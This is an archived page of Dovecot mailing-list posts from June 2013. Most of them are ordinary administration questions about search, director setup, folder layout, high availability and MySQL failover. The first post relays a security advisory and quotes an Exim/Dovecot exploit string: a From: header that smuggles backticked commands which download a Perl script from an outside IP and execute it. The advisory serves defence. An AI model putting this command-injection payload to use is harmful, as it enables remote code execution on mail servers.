[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
by Luigi Rosa 09 Jun '13

09 Jun '13

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`(a)blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.

[Dovecot] Speed up mail retrieval by keyword
by Manfred Usselmann 09 Jun '13

09 Jun '13

Hi, I' m using a roundcube plugin for adding attributes to mails, which are stored as IMAP keywords (https://github.com/umount/message_label [1]). This plugin allows me to retrieve mails with a certain attribute across all my mail folders. Selecting mails this way is very convenient, but also very slow, probably because I've got a lot of mails and folders. Is there a way to speed this up somehow by changing any configuration options? Versions in use are Roundcube 0.9.0 and Dovecot 2.1.10 (Maildir). Thanks Manfred Links: ------ [1] https://github.com/umount/message_label

[Dovecot] search and UTF-8 normalization forms (NFD)
by Lutz Preßler 09 Jun '13

09 Jun '13

Hello, on a system with dovecot 2.2 I've got a mailbox containing multiple mails from a person called Krüger, but From: header encoded differently. Some are encoded in UTF-8 normalization form decomposed (as used by Mac OSX), that is u and umlaut accent as sperate combined codepoints instead of one ü: From: =?utf-8?Q?replaced_Kru=CC=88ger?= <krueger(a)some.domain> Searching within roundcube webmail for "krüger" as sender missis this mails. Roundcube sends (dovecot rawlog): A0003 UID THREAD REFS UTF-8 ALL HEADER FROM {7+}krüger Is this supposed to work? Haven't done any more debugging (other search variants) or read RFCs. As a user I would expect Unicode equivalence rules be applied (see http://en.wikipedia.org/wiki/Unicode_equivalence) Regards, Lutz

by Joe Wong 07 Jun '13

07 Jun '13

Hello, I am following the wiki page to setup 2 IMAP servers Director. in each server, I have created 2 sets of dovecot config file where the first set is for imap proxy with director the second set is for the imap backend after this, I attempt to login IMAP through the imap-proxy on any machine with several users. from the log, all users always go to the same IMAP backend in Server 2, I don't see any user go to the IMAP backend in Server 1 at all. What could be the problem I have ? - Joe

[Dovecot] Dovecot IMAP

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. My result: 04 LIST "" "*" * LIST (\HasChildren) "." "INBOX" * LIST (\HasNoChildren) "." "INBOX.Trash" I want: 04 LIST "" "*" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "."

[Dovecot] Load Balancing and HA
by Romer Ventura 06 Jun '13

Hello, I've been thinking about the best way to achieve load balancing and making my mail servers highly available. So far I believe I have 2 scenarios: Scenario1: This should allow any to lose any of the servers and clients still have access to their emails (although I am not sure how the indexes would react to this and sudden disconnection) - 2 Dovecot Proxy servers, using a virtual IP to where the clients will connect to from the WAN and LAN - 2 Dovecot+Postfix servers with local cache - 2 NFS servers and synced with dsync (mirror, 1 server writes to its own NFS and changes synced to the other via dsync) Scenario2: Pretty much as above on the back end. However, with this there is no way to load balance users. - 2 Dovecot+Postfix server with local cache - 2 NFS servers synced with dsync - Make use of DNS MX record priority to provide access to secondary email server Anyone care to comment?

Halo, (First time posting, please forgive English is not native) Change from Courier to Dovecot 2.1.16 Having two server. Having mysql on thiz two server, one master, one slave. What we wish is slave Dovecot only ask slave mysql, unless slave mysql not work when then ask master, we have Postfix do thiz fallover good, but Dovecot talk to slave and master no mater what, we think thiz defeat fallover as we not want this aktion, but aktion like Postfix. The problemo is can not find Dovecot option for thiz in wiki2.dovecot.org, is possible?
